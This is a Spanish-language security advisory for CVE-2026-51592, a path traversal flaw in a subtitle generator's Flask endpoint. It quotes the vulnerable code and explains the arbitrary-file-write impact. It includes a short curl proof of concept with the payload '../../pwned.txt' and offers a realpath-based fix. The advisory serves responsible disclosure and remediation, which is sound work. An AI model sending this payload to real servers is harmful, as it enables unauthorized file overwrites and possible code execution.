
Vulnerabilidad de Path Traversal en TahaBakhtari/SubtitleGenerator - CVE-2026-51592
Existe una vulnerabilidad de path traversal en el endpoint /update_subtitle de
TahaBakhtari/SubtitleGenerator.
El endpoint acepta un parámetro file_name de un cliente no autenticado y lo
combina con un directorio base fijo mediante os.path.join() sin sanear las
secuencias de path traversal. Como resultado, un atacante remoto no autenticado
puede escribir archivos arbitrarios fuera del directorio previsto
data/subtitles/, dentro de los permisos del proceso en ejecución.
2e2553a (la más reciente en el momento de las pruebas)app.py, función update_subtitle (líneas 225–238)@app.route('/update_subtitle', methods=['POST'])
def update_subtitle():
file_type = request.form.get('file_type', 'srt')
new_content = request.form.get('new_content')
file_name = request.form.get('file_name')
if not file_name:
return jsonify({'status': 'error', 'message': '...'}), 400
file_path = os.path.join("data/subtitles", file_name)
try:
with open(file_path, "w", encoding="utf-8") as f:
f.write(new_content)
return jsonify({'status': 'success', 'message': '...'})
except Exception as e:
return jsonify({'status': 'error', 'message': str(e)}), 500
El parámetro file_name se utiliza para construir una ruta de archivo sin
ninguna validación. Un atacante puede proporcionar un valor como ../../pwned.txt
para escapar del directorio data/subtitles/ y escribir en una ubicación
arbitraria sobre la que el proceso tenga permisos de escritura.
Por defecto, la aplicación se vincula a 0.0.0.0:5000 (ver app.py), lo que
significa que es accesible a través de la red y no está restringida a localhost.
CWE-22: Limitación inadecuada de un nombre de ruta a un directorio restringido ('Path Traversal')
Escritura arbitraria de archivos dentro de los permisos del proceso Flask
Sobrescritura de archivos de configuración o de la aplicación existentes
Posible sobrescritura de archivos fuente de la aplicación (p. ej., app.py),
lo que podría conducir a la ejecución de código en el próximo reinicio
Denegación de servicio mediante la corrupción de archivos críticos
Vector de ataque: Remoto
Autenticación requerida: No
Se requiere interacción del usuario: No
Gravedad (preliminar): Alta
curl -X POST "http://target:5000/update_subtitle" \
--data "file_name=../../pwned.txt&new_content=HACKED"
Respuesta:
{"status": "success", "message": "..."}
Verificación en el servidor:
$ ls
... pwned.txt ...
$ cat pwned.txt
HACKED
El archivo pwned.txt se escribe en el directorio raíz del proyecto, dos niveles
por encima del directorio previsto data/subtitles/, lo que confirma el path
traversal.
Consulta poc.sh para ver una versión ejecutable de esta prueba de concepto.
Valida que la ruta resuelta permanezca dentro de data/subtitles/ usando
os.path.realpath() antes de abrir el archivo:
base_dir = os.path.realpath("data/subtitles")
target = os.path.realpath(os.path.join("data/subtitles", file_name))
if not target.startswith(base_dir + os.sep):
return jsonify({'status': 'error', 'message': 'invalid filename'}), 400
file_path = target
Esto garantiza que la ruta resultante siempre se resuelva dentro de
data/subtitles/, bloqueando eficazmente secuencias de traversal como ../../.
El parche completo está disponible en patch.diff. Esta corrección se implementó
y verificó contra una instancia de prueba local: el mismo payload utilizado en la
PoC anterior ahora devuelve un error de "invalid filename" en lugar de escribir
el archivo.
Descubierta y reportada por Arda Kuruoglu.
Esta vulnerabilidad fue divulgada siguiendo un plazo de divulgación responsable de 90 días, a partir de la fecha del informe inicial al mantenedor.
README.md — este informepoc.sh — script de prueba de concepto que demuestra la vulnerabilidadpatch.diff — parche sugerido, validado contra una instancia de prueba localEste informe y los archivos adjuntos se publican bajo la Licencia MIT.